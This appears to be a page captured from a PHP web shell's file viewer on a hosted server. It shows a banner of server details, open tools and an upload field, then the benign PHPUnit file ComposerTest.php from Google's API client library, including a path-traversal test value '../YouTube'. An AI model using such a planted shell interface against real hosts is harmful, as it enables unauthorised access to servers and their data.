ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/www/vendor/google/apiclient/tests/Google/Task/ |
Upload File : |
<?php /* * Copyright 2020 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Tests\Task; use Google\Tests\BaseTest; use Google\Task\Composer; use Symfony\Component\Filesystem\Filesystem; use InvalidArgumentException; class ComposerTest extends BaseTest { private static $composerBaseConfig = [ 'repositories' => [ [ 'type' => 'path', 'url' => __DIR__ . '/../../..', 'options' => [ 'symlink' => false ] ] ], 'require' => [ 'google/apiclient' => '*' ], 'scripts' => [ 'pre-autoload-dump' => 'Google\Task\Composer::cleanup' ], 'minimum-stability' => 'dev', ]; public function testInvalidServiceName() { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessage('Google service "Foo" does not exist'); Composer::cleanup($this->createMockEvent(['Foo'])); } public function testRelatePathServiceName() { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessage('Invalid Google service name "../YouTube"'); Composer::cleanup($this->createMockEvent(['../YouTube'])); } public function testEmptyServiceName() { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessage('Google service "" does not exist'); Composer::cleanup($this->createMockEvent([''])); } public function testWildcardServiceName() { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessage('Invalid Google service name "YouTube*"'); Composer::cleanup($this->createMockEvent(['YouTube*'])); } public function testRemoveServices() { $vendorDir = sys_get_temp_dir() . '/rand-' . rand(); $serviceDir = sprintf( '%s/google/apiclient-services/src/', $vendorDir ); $dirs = [ 'ServiceToKeep', 'ServiceToDelete1', 'ServiceToDelete2', ]; $files = [ 'ServiceToKeep/ServiceFoo.php', 'ServiceToKeep.php', 'SomeRandomFile.txt', 'ServiceToDelete1/ServiceFoo.php', 'ServiceToDelete1.php', 'ServiceToDelete2/ServiceFoo.php', 'ServiceToDelete2.php', ]; foreach ($dirs as $dir) { @mkdir($serviceDir . $dir, 0777, true); } foreach ($files as $file) { touch($serviceDir . $file); } $print = 'Removing 2 google services'; Composer::cleanup( $this->createMockEvent(['ServiceToKeep'], $vendorDir, $print), $this->createMockFilesystem([ 'ServiceToDelete2', 'ServiceToDelete2.php', 'ServiceToDelete1', 'ServiceToDelete1.php', ], $serviceDir) ); } private function createMockFilesystem(array $files, $serviceDir) { $mockFilesystem = $this->prophesize(Filesystem::class); foreach ($files as $filename) { $file = new \SplFileInfo($serviceDir . $filename); $mockFilesystem->remove($file->getRealPath()) ->shouldBeCalledTimes(1); } return $mockFilesystem->reveal(); } private function createMockEvent( array $servicesToKeep, $vendorDir = '', $print = null ) { $mockPackage = $this->prophesize('Composer\Package\RootPackage'); $mockPackage->getExtra() ->shouldBeCalledTimes(1) ->willReturn(['google/apiclient-services' => $servicesToKeep]); $mockConfig = $this->prophesize('Composer\Config'); $mockConfig->get('vendor-dir') ->shouldBeCalledTimes(1) ->willReturn($vendorDir); $mockComposer = $this->prophesize('Composer\Composer'); $mockComposer->getPackage() ->shouldBeCalledTimes(1) ->willReturn($mockPackage->reveal()); $mockComposer->getConfig() ->shouldBeCalledTimes(1) ->willReturn($mockConfig->reveal()); $mockEvent = $this->prophesize('Composer\Script\Event'); $mockEvent->getComposer() ->shouldBeCalledTimes(1) ->willReturn($mockComposer); if ($print) { $mockIO = $this->prophesize('Composer\IO\ConsoleIO'); $mockIO->write($print) ->shouldBeCalledTimes(1); $mockEvent->getIO() ->shouldBeCalledTimes(1) ->willReturn($mockIO->reveal()); } return $mockEvent->reveal(); } public function testE2E() { $dir = $this->runComposerInstall(self::$composerBaseConfig + [ 'extra' => [ 'google/apiclient-services' => [ 'Drive', 'YouTube' ] ] ]); $serviceDir = $dir . '/vendor/google/apiclient-services/src'; $this->assertFileExists($serviceDir . '/Drive.php'); $this->assertFileExists($serviceDir . '/Drive'); $this->assertFileExists($serviceDir . '/YouTube.php'); $this->assertFileExists($serviceDir . '/YouTube'); $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting.php'); $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting'); // Remove the "apiclient-services" directory, which is required to // update the cleanup command. passthru('rm -r ' . $dir . '/vendor/google/apiclient-services'); $this->runComposerInstall(self::$composerBaseConfig + [ 'extra' => [ 'google/apiclient-services' => [ 'Drive', 'YouTube', 'YouTubeReporting', ] ] ], $dir); $this->assertFileExists($serviceDir . '/Drive.php'); $this->assertFileExists($serviceDir . '/Drive'); $this->assertFileExists($serviceDir . '/YouTube.php'); $this->assertFileExists($serviceDir . '/YouTube'); $this->assertFileExists($serviceDir . '/YouTubeReporting.php'); $this->assertFileExists($serviceDir . '/YouTubeReporting'); } public function testE2EBCTaskName() { $composerConfig = self::$composerBaseConfig + [ 'extra' => [ 'google/apiclient-services' => [ 'Drive', ] ] ]; // Test BC Task name $composerConfig['scripts']['pre-autoload-dump'] = 'Google_Task_Composer::cleanup'; $dir = $this->runComposerInstall($composerConfig); $serviceDir = $dir . '/vendor/google/apiclient-services/src'; $this->assertFileExists($serviceDir . '/Drive.php'); $this->assertFileExists($serviceDir . '/Drive'); $this->assertFileDoesNotExist($serviceDir . '/YouTube.php'); $this->assertFileDoesNotExist($serviceDir . '/YouTube'); $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting.php'); $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting'); } public function testE2EOptimized() { $dir = $this->runComposerInstall(self::$composerBaseConfig + [ 'config' => [ 'optimize-autoloader' => true, ], 'extra' => [ 'google/apiclient-services' => [ 'Drive' ] ] ]); $classmap = require_once $dir . '/vendor/composer/autoload_classmap.php'; // Verify removed services do not show up in the classmap $this->assertArrayHasKey('Google\Service\Drive', $classmap); $this->assertArrayNotHasKey('Google\Service\YouTube', $classmap); } private function runComposerInstall(array $composerConfig, $dir = null) { $composerJson = json_encode($composerConfig); if (is_null($dir)) { $dir = sys_get_temp_dir() . '/test-' . rand(); mkdir($dir); } file_put_contents($dir . '/composer.json', $composerJson); passthru('composer install -d ' . $dir); return $dir; } }